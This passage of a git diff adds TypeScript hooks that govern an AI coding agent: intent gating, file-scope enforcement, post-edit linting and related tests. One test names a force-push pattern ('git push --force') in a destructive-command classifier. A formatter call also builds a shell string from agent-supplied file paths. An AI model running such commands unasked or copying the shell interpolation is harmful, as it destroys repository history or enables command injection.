this._activeIntentId, + ), + } + } + + console.log(`[HookEngine] Authorization: ${authResult.decision} — ${authResult.reason}`) + return { action: "allow" } + } catch (error) { + const errorMessage = error instanceof Error ? error.message : "Unknown authorization error" + console.error(`[HookEngine] Authorization error: ${errorMessage}`) + return { + action: "block", + toolResult: AutonomousRecovery.formatHookError(toolName, errorMessage, this._activeIntentId), + } + } + } + + /** + * Execute post-tool hooks after successful tool execution. + * + * Phase 2: Post-Edit Automation + * - Run Prettier on modified files + * - Run ESLint on modified files + * - Return error feedback for AI self-correction + * + * @param toolName - The tool that just executed + * @param params - The tool parameters + * @returns Supplementary feedback string, or null if no issues + */ + async runPostHooks(toolName: string, params: Record): Promise { + try { + const result = await PostToolHook.execute(toolName, params, this.cwd) + + if (result.hasErrors && result.feedback) { + console.warn(`[HookEngine] Post-hook errors for ${toolName}: ${result.feedback}`) + return result.feedback + } + + if (result.feedback) { + console.log(`[HookEngine] Post-hook feedback for ${toolName}: ${result.feedback}`) + } + + return result.feedback + } catch (error) { + const errorMessage = error instanceof Error ? error.message : "Unknown post-hook error" + console.error(`[HookEngine] Post-hook error: ${errorMessage}`) + // Post-hooks are non-blocking — don't fail the tool execution + return null + } + } + + // ── Accessors for session state ────────────────────────────────────── + + /** Get the currently active intent ID */ + get activeIntentId(): string | null { + return this._activeIntentId + } + + /** Set the active intent ID (called by IntentContextLoader) */ + setActiveIntentId(intentId: string): void { + this._activeIntentId = intentId + // Also load the full intent entry for scope enforcement + this.loadActiveIntentEntry(intentId) + } + + /** Get the cached intent context XML */ + get intentContextXml(): string | null { + return this._intentContextXml + } + + /** Cache the intent context XML (called by IntentContextLoader) */ + setIntentContextXml(xml: string): void { + this._intentContextXml = xml + } + + /** Get the cached active intent entry (for scope enforcement) */ + get activeIntent(): IntentEntry | null { + return this._activeIntent + } + + /** Clear the active intent (e.g., on session reset) */ + clearActiveIntent(): void { + this._activeIntentId = null + this._intentContextXml = null + this._activeIntent = null + } + + /** Check whether a valid intent is currently active */ + hasActiveIntent(): boolean { + return this._activeIntentId !== null && this._activeIntentId.length > 0 + } + + // ── Private Helpers ────────────────────────────────────────────────── + + /** + * Load the full IntentEntry from active_intents.yaml for the given ID. + * This populates _activeIntent for scope enforcement. + */ + private loadActiveIntentEntry(intentId: string): void { + try { + const intentsFilePath = path.join(this.cwd, ".orchestration", "active_intents.yaml") + const raw = fs.readFileSync(intentsFilePath, "utf-8") + const parsed = parseYaml(raw) as ActiveIntentsFile + + if (parsed && Array.isArray(parsed.active_intents)) { + const entry = parsed.active_intents.find((i) => i.id === intentId) + if (entry) { + this._activeIntent = entry + console.log( + `[HookEngine] Loaded intent entry for scope enforcement: ${entry.id} ` + + `(scope: ${entry.owned_scope.join(", ")})`, + ) + } + } + } catch (error) { + console.warn(`[HookEngine] Failed to load intent entry for ${intentId}: ${error}`) + } + } +} diff --git a/src/hooks/IntentContextLoader.ts b/src/hooks/IntentContextLoader.ts new file mode 100644 index 00000000000..31415ff8259 --- /dev/null +++ b/src/hooks/IntentContextLoader.ts @@ -0,0 +1,204 @@ +/** + * IntentContextLoader.ts — Pre-Hook for select_active_intent Tool + * + * This module implements the Context Loader — the core of Phase 1's + * "Handshake" protocol. When the AI agent calls select_active_intent(intent_id), + * this hook: + * + * 1. Reads .orchestration/active_intents.yaml from the workspace root + * 2. Parses it using js-yaml + * 3. Finds the matching intent by ID + * 4. Constructs an XML block containing: + * - Intent name and status + * - Constraints (architectural rules the agent must follow) + * - Owned scope (file globs the agent is authorized to modify) + * - Acceptance criteria (Definition of Done) + * 5. Returns this block as the tool result, so the AI sees it in + * its next message and uses it to guide all subsequent actions + * + * The XML format is chosen because LLMs parse XML reliably and it creates + * a clear, structured boundary in the conversation context. + * + * @see HookEngine.ts — registers this hook + * @see types.ts — IntentEntry, ActiveIntentsFile interfaces + * @see TRP1 Challenge Week 1, Phase 1: Context Injection Hook + */ + +import * as fs from "node:fs" +import * as path from "node:path" +import { parse as parseYaml } from "yaml" + +import type { HookContext, PreHookResult, ActiveIntentsFile, IntentEntry } from "./types" +import type { HookEngine } from "./HookEngine" + +export class IntentContextLoader { + /** + * Execute the context loader hook. + * Only activates for select_active_intent tool calls. + * + * @param ctx - The hook context (tool name, params, cwd) + * @param engine - The HookEngine instance (for setting session state) + * @returns PreHookResult — "inject" with XML context, or "allow" for other tools + */ + static async execute(ctx: HookContext, engine: HookEngine): Promise { + // Only intercept select_active_intent calls + if (ctx.toolName !== "select_active_intent") { + return { action: "allow" } + } + + const intentId = (ctx.params as { intent_id?: string }).intent_id + + // Validate that intent_id parameter was provided + if (!intentId || intentId.trim().length === 0) { + return { + action: "block", + toolResult: + "[Intent Error] Missing required parameter: intent_id. " + + "You must provide a valid intent ID from .orchestration/active_intents.yaml.", + } + } + + try { + // Step 1: Read the active_intents.yaml file from workspace root + const intentsFilePath = path.join(ctx.cwd, ".orchestration", "active_intents.yaml") + const intents = await IntentContextLoader.readIntentsFile(intentsFilePath) + + // Step 2: Find the matching intent by ID + const matchingIntent = intents.active_intents.find((intent) => intent.id === intentId.trim()) + + if (!matchingIntent) { + // List available intents to help the agent self-correct + const availableIds = intents.active_intents + .map((i) => ` - ${i.id}: ${i.name} [${i.status}]`) + .join("\n") + + return { + action: "block", + toolResult: + `[Intent Error] No intent found with ID "${intentId}". ` + + `Available intents:\n${availableIds}\n\n` + + `Please call select_active_intent with a valid intent_id.`, + } + } + + // Step 3: Build the XML block + const contextXml = IntentContextLoader.buildIntentContextXml(matchingIntent) + + // Step 4: Store the active intent in session state + engine.setActiveIntentId(matchingIntent.id) + engine.setIntentContextXml(contextXml) + + console.log(`[IntentContextLoader] Activated intent: ${matchingIntent.id} — ${matchingIntent.name}`) + + // Step 5: Return the XML block as the tool result + // The AI will see this in its next turn and use it to guide actions + return { + action: "inject", + toolResult: contextXml, + } + } catch (error) { + const errorMessage = error instanceof Error ? error.message : "Unknown error" + + // Distinguish between "file not found" and other errors + if (errorMessage.includes("ENOENT") || errorMessage.includes("no such file")) { + return { + action: "block", + toolResult: + `[Intent Error] File not found: .orchestration/active_intents.yaml\n\n` + + `This file must exist at the workspace root to use intent-driven architecture.\n` + + `Please ask the user to create .orchestration/active_intents.yaml with their intent definitions.`, + } + } + + return { + action: "block", + toolResult: `[Intent Error] Failed to load intent context: ${errorMessage}`, + } + } + } + + // ── Private Helpers ────────────────────────────────────────────────── + + /** + * Read and parse the active_intents.yaml file. + * Uses Node.js fs (synchronous for simplicity; file is small). + * + * @param filePath - Absolute path to active_intents.yaml + * @returns Parsed ActiveIntentsFile object + * @throws Error if file doesn't exist or YAML is malformed + */ + private static async readIntentsFile(filePath: string): Promise { + // Read file contents + const raw = fs.readFileSync(filePath, "utf-8") + + // Parse YAML + const parsed = parseYaml(raw) as ActiveIntentsFile + + // Validate structure + if (!parsed || !Array.isArray(parsed.active_intents)) { + throw new Error( + "Malformed active_intents.yaml: expected root key 'active_intents' with an array of intent entries.", + ) + } + + return parsed + } + + /** + * Build the XML block for the selected intent. + * + * This XML structure is injected into the conversation so the AI agent + * has immediate access to constraints, scope boundaries, and acceptance + * criteria. The XML format was chosen because: + * - LLMs parse XML tags reliably + * - It creates a visual boundary in the context window + * - It's easily extensible for Phase 3 (agent trace metadata) + * + * @param intent - The matched IntentEntry from active_intents.yaml + * @returns Formatted XML string + */ + static buildIntentContextXml(intent: IntentEntry): string { + const constraintsXml = intent.constraints.map((c) => ` ${escapeXml(c)}`).join("\n") + + const scopeXml = intent.owned_scope.map((s) => ` ${escapeXml(s)}`).join("\n") + + const criteriaXml = intent.acceptance_criteria + .map((a) => ` ${escapeXml(a)}`) + .join("\n") + + return ` + + +${constraintsXml} + + +${scopeXml} + + +${criteriaXml} + + + + You are now operating under Intent "${escapeXml(intent.id)}: ${escapeXml(intent.name)}". + You MUST respect all constraints listed above. + You may ONLY modify files matching the owned_scope patterns. + Your work is complete when ALL acceptance_criteria are satisfied. + Any tool call outside the owned_scope will be BLOCKED by the Gatekeeper. + +` + } +} + +// ── Utility ────────────────────────────────────────────────────────────── + +/** + * Escape special characters for XML content to prevent injection. + */ +function escapeXml(str: string): string { + return str + .replaceAll("&", "&") + .replaceAll("<", "<") + .replaceAll(">", ">") + .replaceAll('"', """) + .replaceAll("'", "'") +} diff --git a/src/hooks/PostToolHook.ts b/src/hooks/PostToolHook.ts new file mode 100644 index 00000000000..75f4aac1d67 --- /dev/null +++ b/src/hooks/PostToolHook.ts @@ -0,0 +1,309 @@ +/** + * PostToolHook.ts — Phase 2: Post-Edit Automation + * + * Implements PostToolUse hooks that fire AFTER a tool has successfully + * executed. The primary Phase 2 responsibility is: + * + * Post-Edit Formatting: Automatically run Prettier/linter on any file + * modified by the agent, and feed errors back for self-correction. + * + * Architecture: + * Tool executes successfully → PostToolHook fires → + * 1. Detect modified file path from tool params + * 2. Run code formatter (Prettier) on the file + * 3. Run linter (ESLint) on the file + * 4. If errors → append to message context for self-correction + * 5. If clean → log success + * + * The post-hook does NOT block execution. It runs after the tool has + * already completed. However, if formatting/linting produces errors, + * these are returned as supplementary context that the HookEngine + * appends to the next tool_result. + * + * @see HookEngine.ts — orchestrates post-hook execution + * @see TRP1 Challenge Week 1, Phase 2: Post-Edit Formatting + * @see Research Paper, Phase 2: Post-Edit Formatting + */ + +import * as fs from "node:fs" +import * as path from "node:path" +import { exec } from "node:child_process" +import { promisify } from "node:util" + +const execAsync = promisify(exec) + +// ── Post-Hook Result ───────────────────────────────────────────────────── + +export interface PostHookResult { + /** Whether the post-hook produced supplementary feedback */ + hasErrors: boolean + + /** Formatted feedback string to append to the tool_result context */ + feedback: string | null + + /** The file that was processed */ + filePath: string | null +} + +// ── File-Modifying Tool Detection ──────────────────────────────────────── + +/** Tools that modify files and should trigger post-edit processing */ +const FILE_MODIFYING_TOOLS: ReadonlySet = new Set([ + "write_to_file", + "apply_diff", + "edit", + "search_and_replace", + "search_replace", + "edit_file", + "apply_patch", +]) + +// ── PostToolHook ───────────────────────────────────────────────────────── + +export class PostToolHook { + /** + * Execute post-tool hooks after a tool has completed. + * + * Currently implements: + * 1. Post-edit formatting (Prettier + ESLint) + * + * Returns supplementary feedback if errors/warnings are detected. + * + * @param toolName - The tool that just executed + * @param params - The tool parameters (to extract file path) + * @param cwd - Workspace root path + * @returns PostHookResult with optional error feedback + */ + static async execute(toolName: string, params: Record, cwd: string): Promise { + // Only process file-modifying tools + if (!FILE_MODIFYING_TOOLS.has(toolName)) { + return { hasErrors: false, feedback: null, filePath: null } + } + + // Extract the target file path + const filePath = PostToolHook.extractFilePath(toolName, params) + if (!filePath) { + return { hasErrors: false, feedback: null, filePath: null } + } + + // Resolve to absolute path + const absolutePath = path.isAbsolute(filePath) ? filePath : path.join(cwd, filePath) + + // Check if file exists (it should, since the tool just wrote to it) + if (!fs.existsSync(absolutePath)) { + return { hasErrors: false, feedback: null, filePath } + } + + // Determine file extension for formatter/linter selection + const ext = path.extname(absolutePath).toLowerCase() + const isFormattable = [ + ".ts", + ".tsx", + ".js", + ".jsx", + ".json", + ".css", + ".scss", + ".md", + ".html", + ".yaml", + ".yml", + ].includes(ext) + + if (!isFormattable) { + return { hasErrors: false, feedback: null, filePath } + } + + const feedbackParts: string[] = [] + let hasErrors = false + + // 1. Run Prettier (auto-format) + const prettierResult = await PostToolHook.runPrettier(absolutePath, cwd) + if (prettierResult.error) { + hasErrors = true + feedbackParts.push(`[Prettier Error] ${prettierResult.error}`) + } else if (prettierResult.formatted) { + feedbackParts.push(`[Prettier] File auto-formatted: ${filePath}`) + } + + // 2. Run ESLint (for TS/JS files only) + const isLintable = [".ts", ".tsx", ".js", ".jsx"].includes(ext) + if (isLintable) { + const lintResult = await PostToolHook.runLinter(absolutePath, cwd) + if (lintResult.errors.length > 0) { + hasErrors = true + feedbackParts.push( + `[ESLint Errors] ${lintResult.errors.length} issue(s) found in ${filePath}:\n` + + lintResult.errors.map((e) => ` Line ${e.line}: ${e.message}`).join("\n"), + ) + } + } + + if (feedbackParts.length === 0) { + return { hasErrors: false, feedback: null, filePath } + } + + const feedback = `\n${feedbackParts.join("\n\n")}\n` + + return { hasErrors, feedback, filePath } + } + + // ── Private Helpers ────────────────────────────────────────────────── + + /** + * Extract the target file path from tool parameters. + */ + private static extractFilePath(toolName: string, params: Record): string | null { + const pathKeys = ["path", "file_path", "filePath", "target_file", "file"] + + for (const key of pathKeys) { + if (params[key] && typeof params[key] === "string") { + return params[key] + } + } + + return null + } + + /** + * Run Prettier on a file. Uses npx prettier --write to auto-format. + * Captures stderr for error reporting. + * + * @param filePath - Absolute path to the file + * @param cwd - Workspace root (for resolving prettier config) + * @returns { formatted: boolean, error: string | null } + */ + private static async runPrettier( + filePath: string, + cwd: string, + ): Promise<{ formatted: boolean; error: string | null }> { + try { + // Check if prettier is available in the project + const prettierPath = PostToolHook.findBinary("prettier", cwd) + if (!prettierPath) { + // Prettier not installed — skip silently + return { formatted: false, error: null } + } + + // Read file before formatting to detect changes + const contentBefore = fs.readFileSync(filePath, "utf-8") + + // Run prettier --write + await execAsync(`"${prettierPath}" --write "${filePath}"`, { + cwd, + timeout: 10000, // 10s timeout + }) + + // Check if content changed + const contentAfter = fs.readFileSync(filePath, "utf-8") + const formatted = contentBefore !== contentAfter + + return { formatted, error: null } + } catch (error) { + const message = error instanceof Error ? error.message : String(error) + // Don't treat "prettier not found" as an error + if (message.includes("ENOENT") || message.includes("not found") || message.includes("not recognized")) { + return { formatted: false, error: null } + } + return { formatted: false, error: message.substring(0, 500) } + } + } + + /** + * Parse ESLint JSON output into structured error objects. + * Extracts only severity >= 2 (error-level) messages. + */ + private static parseEslintOutput(jsonString: string): Array<{ line: number; message: string }> { + const results = JSON.parse(jsonString) + const errors: Array<{ line: number; message: string }> = [] + + if (!Array.isArray(results) || results.length === 0) { + return errors + } + + const fileResult = results[0] + if (!fileResult.messages || !Array.isArray(fileResult.messages)) { + return errors + } + + for (const msg of fileResult.messages) { + if (msg.severity >= 2) { + errors.push({ + line: msg.line ?? 0, + message: `[${msg.ruleId ?? "unknown"}] ${msg.message}`, + }) + } + } + + return errors + } + + /** + * Run ESLint on a file and capture any errors/warnings. + * + * @param filePath - Absolute path to the file + * @param cwd - Workspace root + * @returns { errors: Array<{ line: number, message: string }> } + */ + private static async runLinter( + filePath: string, + cwd: string, + ): Promise<{ errors: Array<{ line: number; message: string }> }> { + try { + const eslintPath = PostToolHook.findBinary("eslint", cwd) + if (!eslintPath) { + return { errors: [] } + } + + const { stdout } = await execAsync(`"${eslintPath}" --format json --no-color "${filePath}"`, { + cwd, + timeout: 30000, + }) + + return { errors: PostToolHook.parseEslintOutput(stdout) } + } catch (error) { + const execError = error as { stdout?: string; message?: string } + + // ESLint exits with code 1 when it finds errors — parse stdout anyway + if (execError.stdout) { + try { + return { errors: PostToolHook.parseEslintOutput(execError.stdout) } + } catch { + // JSON parse failed — skip + } + } + + // Don't treat missing eslint as an error + const message = execError.message ?? "" + if (message.includes("ENOENT") || message.includes("not found") || message.includes("not recognized")) { + return { errors: [] } + } + + return { + errors: [{ line: 0, message: `ESLint execution error: ${message.substring(0, 300)}` }], + } + } + } + + /** + * Find a binary (prettier, eslint) in node_modules/.bin or globally. + * + * @param name - Binary name ("prettier" or "eslint") + * @param cwd - Workspace root + * @returns Path to the binary, or null if not found + */ + private static findBinary(name: string, cwd: string): string | null { + // Check local node_modules/.bin first + const isWindows = process.platform === "win32" + const binExt = isWindows ? ".cmd" : "" + const localBin = path.join(cwd, "node_modules", ".bin", `${name}${binExt}`) + + if (fs.existsSync(localBin)) { + return localBin + } + + // Check if the binary is available globally via PATH + // We'll just return the name and let the shell resolve it + return name + } +} diff --git a/src/hooks/PreToolHook.ts b/src/hooks/PreToolHook.ts new file mode 100644 index 00000000000..dfc09782e9a --- /dev/null +++ b/src/hooks/PreToolHook.ts @@ -0,0 +1,101 @@ +/** + * PreToolHook.ts — Gatekeeper Pre-Hook for Intent Validation + * + * This module implements the Gatekeeper — a mandatory pre-hook that runs + * BEFORE every tool call in the execution pipeline. Its single responsibility + * is to enforce the Intent-Driven Architecture's cardinal rule: + * + * "No mutating tool may execute unless the agent has first declared + * a valid active intent via select_active_intent(intent_id)." + * + * Classification: + * - MUTATING tools (write_to_file, apply_diff, execute_command, etc.) + * → BLOCKED unless a valid intent is active + * - READ-ONLY tools (read_file, list_files, search_files, etc.) + * → ALLOWED without an intent (the agent needs to read to reason) + * - META tools (ask_followup_question, attempt_completion, switch_mode, etc.) + * → ALWAYS ALLOWED (conversation control) + * - select_active_intent itself → ALWAYS ALLOWED (breaks circular dependency) + * + * When the gatekeeper blocks a tool, it returns a descriptive error message + * as the tool_result, guiding the AI to call select_active_intent first. + * + * @see HookEngine.ts — registers this hook at priority 0 (runs first) + * @see types.ts — MUTATING_TOOLS, EXEMPT_TOOLS constants + * @see TRP1 Challenge Week 1, Phase 1: The Gatekeeper + */ + +import type { HookContext, PreHookResult } from "./types" +import { EXEMPT_TOOLS } from "./types" +import type { HookEngine } from "./HookEngine" + +export class GatekeeperHook { + /** + * Execute the gatekeeper validation. + * + * Decision tree: + * 1. Is the tool exempt? → Allow (read-only, meta, or select_active_intent) + * 2. Is there an active intent? → Allow (handshake completed) + * 3. Otherwise → Block with guidance error + * + * @param ctx - Hook context containing tool name and params + * @param engine - HookEngine instance for session state access + * @returns PreHookResult — "allow" or "block" with error message + */ + static async execute(ctx: HookContext, engine: HookEngine): Promise { + // Step 1: Check if this tool is exempt from intent requirements + if (GatekeeperHook.isExempt(ctx.toolName)) { + return { action: "allow" } + } + + // Step 2: Check if a valid intent has been declared + if (engine.hasActiveIntent()) { + return { action: "allow" } + } + + // Step 3: Block execution — no intent declared for a mutating tool + console.warn( + `[Gatekeeper] BLOCKED: Tool "${ctx.toolName}" requires an active intent. ` + + `No intent has been declared via select_active_intent().`, + ) + + return { + action: "block", + toolResult: + `[Gatekeeper Violation] You must cite a valid active Intent ID before any tool use.\n\n` + + `The tool "${ctx.toolName}" is a mutating operation that requires an active business intent.\n` + + `Before proceeding, you MUST:\n` + + ` 1. Analyze the user's request\n` + + ` 2. Identify the relevant intent from .orchestration/active_intents.yaml\n` + + ` 3. Call select_active_intent(intent_id) to load the intent context\n\n` + + `Only after the handshake is complete can you use "${ctx.toolName}" or any other mutating tool.`, + } + } + + // ── Private Classification ─────────────────────────────────────────── + + /** + * Check if a tool is exempt from the gatekeeper requirement. + * Exempt tools include read-only tools, meta tools, and + * select_active_intent itself. + * + * Also exempts native MCP tools (prefixed with "mcp_") as they + * have their own governance model. + * + * @param toolName - The canonical tool name + * @returns true if the tool can execute without an active intent + */ + private static isExempt(toolName: string): boolean { + // Direct match against exempt list + if (EXEMPT_TOOLS.includes(toolName)) { + return true + } + + // Native MCP tools are governed separately + if (toolName.startsWith("mcp_")) { + return true + } + + return false + } +} diff --git a/src/hooks/ScopeEnforcer.ts b/src/hooks/ScopeEnforcer.ts new file mode 100644 index 00000000000..be4ecedfed5 --- /dev/null +++ b/src/hooks/ScopeEnforcer.ts @@ -0,0 +1,205 @@ +/** + * ScopeEnforcer.ts — Phase 2: Owned Scope Enforcement + * + * Enforces that file-write operations only target files within the active + * intent's owned_scope. This is the architectural boundary that prevents + * an agent working on "JWT Authentication Migration" from accidentally + * modifying unrelated billing or UI code. + * + * The owned_scope field in active_intents.yaml uses glob patterns (e.g., + * "src/auth/**", "src/middleware/jwt.ts"). This module validates that the + * target file path of any write operation matches at least one of these + * patterns. + * + * If the target file is OUTSIDE the scope: + * - The operation is BLOCKED immediately + * - A structured "Scope Violation" error is returned via AutonomousRecovery + * - The AI receives guidance to request scope expansion or change approach + * + * Uses the `minimatch` algorithm (via picomatch) for glob matching. + * + * @see AutonomousRecovery.ts — formats the scope violation error + * @see active_intents.yaml — defines owned_scope per intent + * @see TRP1 Challenge Week 1, Phase 2: Scope Enforcement + */ + +import * as path from "node:path" + +// ── Scope Check Result ─────────────────────────────────────────────────── + +export interface ScopeCheckResult { + /** Whether the file is within the owned scope */ + allowed: boolean + + /** The file path that was checked (normalized) */ + checkedPath: string + + /** The owned scope patterns that were evaluated */ + ownedScope: string[] + + /** The specific pattern that matched (if allowed) */ + matchedPattern?: string + + /** Human-readable reason */ + reason: string +} + +// ── Simple Glob Matcher ────────────────────────────────────────────────── + +/** + * Minimal glob matcher that handles the patterns used in active_intents.yaml: + * - "src/auth/**" → matches any file under src/auth/ + * - "src/middleware/*.ts" → matches .ts files in src/middleware/ + * - "tests/auth/**" → matches any file under tests/auth/ + * - "src/api/weather/**" → matches any file under src/api/weather/ + * + * Supports: + * - ** (matches any number of directories) + * - * (matches any filename segment, excluding /) + * - Exact file paths + * + * We use a simple implementation to avoid adding external dependencies. + * For production, consider using picomatch or micromatch. + */ +/** + * Characters that need escaping in regex patterns. + * Maps each special regex character to its escaped form. + */ +const REGEX_ESCAPE_MAP: ReadonlyMap = new Map([ + [".", String.raw`\.`], + ["+", String.raw`\+`], + ["^", String.raw`\^`], + ["$", String.raw`\$`], + ["{", String.raw`\{`], + ["}", String.raw`\}`], + ["(", String.raw`\(`], + [")", String.raw`\)`], + ["|", String.raw`\|`], + ["[", String.raw`\[`], + ["]", String.raw`\]`], +]) + +function globToRegex(pattern: string): RegExp { + // Normalize path separators to forward slashes + let normalized = pattern.replaceAll("\\", "/") + + // Replace glob wildcards with placeholders BEFORE escaping + normalized = normalized.replaceAll("**", "§GLOBSTAR§") + normalized = normalized.replaceAll("*", "§WILDCARD§") + + // Escape regex special characters + for (const [char, escaped] of REGEX_ESCAPE_MAP) { + normalized = normalized.replaceAll(char, escaped) + } + + // Replace placeholders with regex equivalents + normalized = normalized.replaceAll("§GLOBSTAR§", ".*") + normalized = normalized.replaceAll("§WILDCARD§", "[^/]*") + + return new RegExp(`^${normalized}$`) +} + +/** + * Test if a file path matches a glob pattern. + * + * @param filePath - The file path to test (relative to workspace root) + * @param pattern - The glob pattern from owned_scope + * @returns true if the path matches the pattern + */ +function matchesGlob(filePath: string, pattern: string): boolean { + // Normalize both to forward slashes + const normalizedPath = filePath.replaceAll("\\", "/") + const regex = globToRegex(pattern) + return regex.test(normalizedPath) +} + +// ── Scope Enforcer ─────────────────────────────────────────────────────── + +export class ScopeEnforcer { + /** + * Check if a target file path is within the active intent's owned_scope. + * + * @param targetPath - The absolute or relative file path being written + * @param ownedScope - Array of glob patterns from the active intent + * @param cwd - Workspace root path (for normalizing absolute paths) + * @returns ScopeCheckResult indicating whether the write is allowed + */ + static check(targetPath: string, ownedScope: string[], cwd: string): ScopeCheckResult { + // If no scope is defined, allow all writes (backwards compatibility) + if (!ownedScope || ownedScope.length === 0) { + return { + allowed: true, + checkedPath: targetPath, + ownedScope, + reason: "No owned_scope defined — all writes allowed.", + } + } + + // Normalize the target path to be relative to workspace root + let relativePath = targetPath + + // If it's an absolute path, make it relative + if (path.isAbsolute(targetPath)) { + relativePath = path.relative(cwd, targetPath) + } + + // Normalize to forward slashes for consistent matching + relativePath = relativePath.replaceAll("\\", "/") + + // Remove any leading ./ or / + relativePath = relativePath.replace(/^\.\//, "").replace(/^\//, "") + + // Check against each scope pattern + for (const pattern of ownedScope) { + if (matchesGlob(relativePath, pattern)) { + return { + allowed: true, + checkedPath: relativePath, + ownedScope, + matchedPattern: pattern, + reason: `File "${relativePath}" matches scope pattern "${pattern}".`, + } + } + } + + // No pattern matched — scope violation + return { + allowed: false, + checkedPath: relativePath, + ownedScope, + reason: + `Scope Violation: File "${relativePath}" is not authorized under intent's owned_scope. ` + + `Allowed patterns: [${ownedScope.join(", ")}].`, + } + } + + /** + * Extract the target file path from tool parameters. + * Different file-writing tools use different parameter names. + * + * @param toolName - The tool being called + * @param params - The tool parameters + * @returns The target file path, or null if not a file-write tool + */ + static extractTargetPath(toolName: string, params: Record): string | null { + // Common parameter names for file paths across different tools + const pathKeys = ["path", "file_path", "filePath", "target_file", "file"] + + for (const key of pathKeys) { + if (params[key] && typeof params[key] === "string") { + return params[key] + } + } + + // For apply_diff and apply_patch, the path might be embedded differently + if (params.diff && typeof params.diff === "string") { + // Try to extract path from unified diff header + const diffMatch = /^---\s+(?:a\/)?(.+)$/m.exec(params.diff) + if (diffMatch) { + return diffMatch[1] + } + } + + return null + } +} diff --git a/src/hooks/__tests__/AutonomousRecovery.test.ts b/src/hooks/__tests__/AutonomousRecovery.test.ts new file mode 100644 index 00000000000..7ba650a2aad --- /dev/null +++ b/src/hooks/__tests__/AutonomousRecovery.test.ts @@ -0,0 +1,139 @@ +/** + * AutonomousRecovery.test.ts — Tests for Phase 2 Autonomous Recovery + * + * Tests that rejection events are correctly formatted as structured + * JSON tool-errors for the AI model to self-correct. + */ + +import { describe, it, expect } from "vitest" +import { AutonomousRecovery } from "../AutonomousRecovery" +import { RiskTier } from "../CommandClassifier" +import type { ClassificationResult } from "../CommandClassifier" + +describe("AutonomousRecovery", () => { + // ── formatRejection ────────────────────────────────────────────── + + describe("formatRejection", () => { + it("formats rejection with correct error type", () => { + const classification: ClassificationResult = { + tier: RiskTier.DESTRUCTIVE, + reason: "Tool modifies the filesystem.", + } + + const result = AutonomousRecovery.formatRejection( + "write_to_file", + classification, + "User rejected the operation", + "INT-001", + ) + + expect(result).toContain("AUTHORIZATION_REJECTED") + expect(result).toContain("write_to_file") + expect(result).toContain("INT-001") + expect(result).toContain("hook_rejection") + }) + + it("includes recovery guidance", () => { + const classification: ClassificationResult = { + tier: RiskTier.CRITICAL, + reason: "Force push detected", + matchedPattern: "Force push (git push --force)", + } + + const result = AutonomousRecovery.formatRejection( + "execute_command", + classification, + "User rejected critical command", + "INT-002", + ) + + expect(result).toContain("Recovery guidance") + expect(result).toContain("DO NOT retry") + expect(result).toContain("CRITICAL") + expect(result).toContain("Force push") + }) + + it("handles null activeIntentId", () => { + const classification: ClassificationResult = { + tier: RiskTier.DESTRUCTIVE, + reason: "Filesystem modification.", + } + + const result = AutonomousRecovery.formatRejection("apply_diff", classification, "Rejected", null) + + expect(result).toContain("AUTHORIZATION_REJECTED") + expect(result).toContain("apply_diff") + }) + }) + + // ── formatScopeViolation ───────────────────────────────────────── + + describe("formatScopeViolation", () => { + it("formats scope violation with target path and owned scope", () => { + const result = AutonomousRecovery.formatScopeViolation( + "write_to_file", + "src/billing/invoice.ts", + ["src/auth/**", "src/middleware/jwt.ts"], + "INT-001", + ) + + expect(result).toContain("SCOPE_VIOLATION") + expect(result).toContain("src/billing/invoice.ts") + expect(result).toContain("src/auth/**") + expect(result).toContain("INT-001") + expect(result).toContain("NOT authorized") + }) + + it("includes guidance to request scope expansion", () => { + const result = AutonomousRecovery.formatScopeViolation( + "edit", + "src/other/file.ts", + ["src/auth/**"], + "INT-001", + ) + + expect(result).toContain("scope expansion") + expect(result).toContain("Recovery guidance") + }) + }) + + // ── formatHookError ────────────────────────────────────────────── + + describe("formatHookError", () => { + it("formats generic hook errors", () => { + const result = AutonomousRecovery.formatHookError( + "write_to_file", + "YAML parse error: unexpected token", + "INT-001", + ) + + expect(result).toContain("HOOK_ERROR") + expect(result).toContain("YAML parse error") + expect(result).toContain("write_to_file") + }) + }) + + // ── JSON Structure ─────────────────────────────────────────────── + + describe("JSON structure", () => { + it("produces valid parseable JSON within the XML tags", () => { + const classification: ClassificationResult = { + tier: RiskTier.DESTRUCTIVE, + reason: "Test", + } + + const result = AutonomousRecovery.formatRejection("write_to_file", classification, "Rejected", "INT-001") + + // Extract JSON from between the XML tags + const jsonMatch = /\n([\s\S]*?)\n<\/hook_rejection>/.exec(result) + expect(jsonMatch).not.toBeNull() + + const parsed = JSON.parse(jsonMatch![1]) + expect(parsed.type).toBe("AUTHORIZATION_REJECTED") + expect(parsed.blockedTool).toBe("write_to_file") + expect(parsed.activeIntentId).toBe("INT-001") + expect(parsed.timestamp).toBeTruthy() + expect(Array.isArray(parsed.recovery_guidance)).toBe(true) + }) + }) +}) diff --git a/src/hooks/__tests__/CommandClassifier.test.ts b/src/hooks/__tests__/CommandClassifier.test.ts new file mode 100644 index 00000000000..84da91db91c --- /dev/null +++ b/src/hooks/__tests__/CommandClassifier.test.ts @@ -0,0 +1,158 @@ +/** + * CommandClassifier.test.ts — Tests for Phase 2 Command Classification + * + * Tests the classification of tool calls into risk tiers: + * SAFE, DESTRUCTIVE, CRITICAL, META + */ + +import { describe, it, expect } from "vitest" +import { CommandClassifier, RiskTier } from "../CommandClassifier" + +describe("CommandClassifier", () => { + // ── SAFE tools ──────────────────────────────────────────────────── + + describe("SAFE classification", () => { + it.each(["read_file", "list_files", "search_files", "codebase_search", "read_command_output"])( + "classifies %s as SAFE", + (toolName) => { + const result = CommandClassifier.classify(toolName, {}) + expect(result.tier).toBe(RiskTier.SAFE) + }, + ) + }) + + // ── META tools ──────────────────────────────────────────────────── + + describe("META classification", () => { + it.each([ + "ask_followup_question", + "attempt_completion", + "switch_mode", + "new_task", + "update_todo_list", + "select_active_intent", + ])("classifies %s as META", (toolName) => { + const result = CommandClassifier.classify(toolName, {}) + expect(result.tier).toBe(RiskTier.META) + }) + }) + + // ── DESTRUCTIVE tools ──────────────────────────────────────────── + + describe("DESTRUCTIVE classification", () => { + it.each(["write_to_file", "apply_diff", "edit", "search_and_replace", "edit_file", "apply_patch"])( + "classifies %s as DESTRUCTIVE", + (toolName) => { + const result = CommandClassifier.classify(toolName, {}) + expect(result.tier).toBe(RiskTier.DESTRUCTIVE) + }, + ) + + it("classifies unknown tools as DESTRUCTIVE (fail-safe)", () => { + const result = CommandClassifier.classify("unknown_magical_tool", {}) + expect(result.tier).toBe(RiskTier.DESTRUCTIVE) + }) + + it("classifies MCP tools as DESTRUCTIVE by default", () => { + const result = CommandClassifier.classify("mcp_server_write", {}) + 